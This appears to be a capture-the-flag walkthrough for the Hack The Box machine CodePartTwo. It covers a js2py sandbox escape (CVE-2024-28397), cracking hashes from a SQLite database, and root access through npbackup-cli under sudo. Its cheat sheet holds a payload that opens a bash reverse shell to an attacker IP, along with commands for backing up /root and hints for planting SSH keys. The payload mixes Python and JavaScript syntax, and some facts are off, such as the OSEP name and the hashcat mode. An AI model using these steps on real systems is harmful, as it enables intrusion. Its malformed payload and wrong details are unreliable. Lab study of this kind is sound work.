While many boxes challenge you to find a missing patch or a weak password, HTB CodePartTwo machine attacks the fundamental trust developers place in third-party libraries to sanitize execution environments.

It is a lesson in Sandbox Escapes, proving that if you allow a user to define code, no matter how safe the interpreter claims to be, you are essentially handing them a shell.

What HTB CodePartTwo Tests

This machine is a rigorous examination of Runtime Analysis and Source Code Auditing. It moves beyond standard web exploitation into the realm of Language-Theoretic Security (LangSec).

Specifically, it tests your ability to recognize that a web application translating JavaScript to Python (via js2py) is not just a translator, but a bridge between two execution contexts.

The primary test is identifying a Sandbox Escape (CVE-2024-28397) where the protection mechanisms of the library fail to stop the importation of dangerous Python modules.

Furthermore, the privilege escalation path tests your competency in Database Forensics (cracking hashes from SQLite) and Custom Binary Analysis, specifically identifying logical flaws in administrative backup tools (npbackup-cli) that run with elevated privileges.

Enumeration Methodology

The standard directory-busting approach is insufficient here. The elite methodology focuses on Behavioral Analysis.

Identify the Engine: When you see a JavaScript Code Editor that executes code on the server, your first question must be: "What is the backend engine?" Is it Node.js? Deno? Or, in this dangerous case, a Python wrapper like js2py.

Fingerprint the Library: You confirm the engine by testing edge cases: Python-specific error messages leaking through the JavaScript interface are the smoking gun.

Source Code Review: Since the application is open-source (or code is accessible), the audit shifts to package.json or requirements.txt. Spotting js2py should immediately trigger a search for Sandbox Escape vectors, not just XSS.

Commands Cheat Sheet

The exploit chain relies on specific payloads rather than generic tool output.

• The js2py Sandbox Escape (CVE-2024-28397): This payload bypasses the disable_pyimport restriction by traversing the object hierarchy to recover the global Python context.

  Python

  # Inject this into the JS Editor
  import os
  var app = {
      ex: function() {
          # Bypassing the import restriction
          var pyimport = global.pyimport;
          var os = pyimport("os");
          os.system("bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'");
      }
  }
  app.ex();
  

• SQLite Hash Extraction: Once inside, locate the .db file (often found in /var/www/ or user home). sqlite3 database.db "SELECT * FROM users;"

• Hash Cracking: hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt (assuming SHA256/Raw-MD5 depending on the format).

• Root Escalation (npbackup-cli): If the tool allows backing up arbitrary paths: sudo /usr/bin/npbackup-cli -s /root/ -d /tmp/output Then inspect the backup to retrieve the flag.

Common Mistakes

The most fatal error on CodePartTwo is treating the JS Editor like a Client-Side vulnerability.

Researchers often waste hours trying to trigger XSS (alert boxes) that only execute in their own browser, forgetting that the goal is Server-Side execution. If the code runs on the server, XSS is irrelevant; you want RCE. Another common mistake is Over-Complicating the Root.

When faced with npbackup-cli, users often look for buffer overflows or complex race conditions. Often, the vulnerability is logic-based: the tool simply allows you to read files you shouldn't, or write files (like authorized_keys) to paths you shouldn't, because it trusts the sudo user too much.

Tool Usage Patterns

• Netcat: Essential for catching the shell.

• Python (Local): You should be running a local instance of js2py to debug your payloads before throwing them at the remote server. "Blind" firing of exploits is noisy and amateurish.

• Strings / Ghidra: For analyzing npbackup-cli. Even a simple strings command can reveal if the binary calls system binaries (like tar or cp) without absolute paths, exposing it to PATH hijacking, or if it has hardcoded allow lists that can be bypassed.

Security Lesson & Mitigation

The critical lesson here is: Do not use "Sanitized" Interpreters for Untrusted Code. Libraries like js2py or vm2 (for Node) have a history of catastrophic sandbox escapes. It is nearly impossible to perfectly sandbox a dynamic language within another dynamic language.

Mitigation: If you must run user-submitted code, do not rely on library-level sandboxes. Use OS-level isolation like Docker containers (ephemeral, with no network access), gVisor, or Firecracker microVMs.

Root Cause: The npbackup-cli utility likely failed to implement Least Privilege. A backup tool running as root should strictly enforce source and destination allow-lists, preventing the user from reading /root or writing to /etc/.

Expert Hints

If you are struggling with the sandbox escape, remember that in Python, everything is an object.

Even if import is disabled, the __class__ and __base__ attributes often provide a ladder to climb back up to the object root, from which you can re-initialize a new context or access the os module.

For the root part: if the tool lets you restore a backup, consider what happens if you restore a malicious .ssh folder into the root directory.

Certifications Prep Suggestions

This box is a direct capability builder for:

• OSEP (OffSec Exploit Developer): The sandbox escape logic forces you to understand language internals, a key skill for advanced exploitation.

• OSWE (OffSec Web Expert): The requirement to move from a web interface to code execution via source review is the core of OSWE.

• BSC (Burp Suite Certified Practitioner): While less focus on tools, the concept of identifying "Server-Side Template Injection" (or in this case, Code Injection) is highly relevant.